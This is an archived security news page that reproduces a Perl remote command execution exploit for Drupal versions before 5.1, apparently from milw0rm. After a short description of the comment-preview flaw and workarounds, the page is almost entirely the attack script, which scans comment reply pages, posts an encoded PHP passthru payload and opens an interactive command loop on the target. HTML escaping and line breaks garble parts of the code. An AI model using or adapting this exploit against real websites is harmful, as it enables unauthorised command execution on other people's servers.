_
_ _ 07.20.2008
 
_ Navigation: _
Main Page Technology Downloads Security Entertainment Videos
Search Site: Advanced
_
 
Login Login
 
Register Register
   
_ News Item

Drupal < 5.1 (post comments) Remote Command Execution Exploit v2

Feb 18 2007 13:25:14
Source: ace
vote bad  vote good
+2
#!/usr/bin/perl



#

# $Id: milw0rm_drupalv5.pl,v 0.2 2007/02/15 13:40:29 str0ke Exp $

#

# milw0rm_drupalv5.pl - Drupal &lt; 5.1 Remote Command Execution Exploit

# Copyright (c) 2007 str0ke &lt;str0ke[!]milw0rm.com&gt;

#

# Description

# -----------

# Previews on comments were not passed through normal form validation routines,

# enabling users with the 'post comments' permission and access to more than one

# input filter to execute arbitrary code.

By default, anonymous and authenticated

# users have access to only one input format.

# Immediate workarounds include: disabling the comment module, revoking the 'post

# comments' permission for all users or limiting access to one input format.

# Versions affected

# -----------------

# - Drupal 5.x versions before Drupal 5.1

#

# [02/15/2007] The exploit has been fixed.

/str0ke

#



use strict;

use LWP::UserAgent;



my $host = shift || &amp;usage;

my $dir = shift || &quot;/drupal&quot;;

my $proxy = shift;

my $command;



my $conn = LWP::UserAgent-&gt;new();

$conn -&gt; proxy(&quot;http&quot;, &quot;http://&quot;.$proxy.&quot;/&quot;) unless !$proxy;



sub usage()

{

print &quot;[?] Drupal &lt; 5.1 Remote Command Execution Exploit\n&quot;;

print &quot;[?] Copyright (c) 2007 str0ke &lt;str0ke[!]milw0rm.com&gt;\n&quot;;

print &quot;[?] usage: perl $0 [host] [directory] [proxy]\n&quot;;

print &quot; [host] (ex.

www.milw0rm.com)\n&quot;;

print &quot; [directory] (ex. /drupal)\n&quot;;

print &quot; [proxy] (ex.

0.0.0.0:8080)\n&quot;;

exit;

}



sub exploit()

{

my $i = $_[0];

my $command = $_[1] || 'ls -l';

my $cmd = 'echo start_er;'.$command.';'.'echo end_er';



my $byte = join('.', map { $_ = 'chr('.$_.')' } unpack('C*', $cmd));



my $req = HTTP::Request-&gt;new(POST =&gt; &quot;http://&quot; .

$host . $dir . &quot;/?q=comment/reply/&quot; . $i);

$req -&gt; content_type('application/x-www-form-urlencoded');

$req -&gt; content('subject=My daddy beats me&amp;comment=&lt;?passthru('.$byte.');?&gt;&amp;format=2&amp;form_id=comment_form&amp;op=Preview comment');



my $content = $conn-&gt;request($req);



if ($content-&gt;content =~ m/start_er(.*?)end_er/ms) {

my $out = $1;



if ($out) {

print &quot;$out\n&quot;;

} else {

print &quot;[-] Exploit Failed...\n&quot;;

exit;

}

}

}



for my $i ( 1 .

400 ) {

my $output = $conn -&gt; get(&quot;http://&quot; . $host . $dir . &quot;/?q=comment/reply/&quot; .

$i);



if($output -&gt; is_success)

{

if($output -&gt; content =~ /add new comment/)

{

print &quot;[+] found comment/reply: $i\n&quot;;



&amp;exploit($i);



while()

{

print &quot;str0kin-drupal\$ &quot;;

chomp($command = &lt;STDIN&gt;);

exit unless $command;

&amp;exploit($i, $command);

}

exit;

}

}

}



print &quot;[-] Exploit Failed...\n&quot;;



.



» full story @ source-link: ace
_ Comments
Add Comment
You must be registered and logged in to add comments!

Register
Login
_ Sponsors

_ Sponsors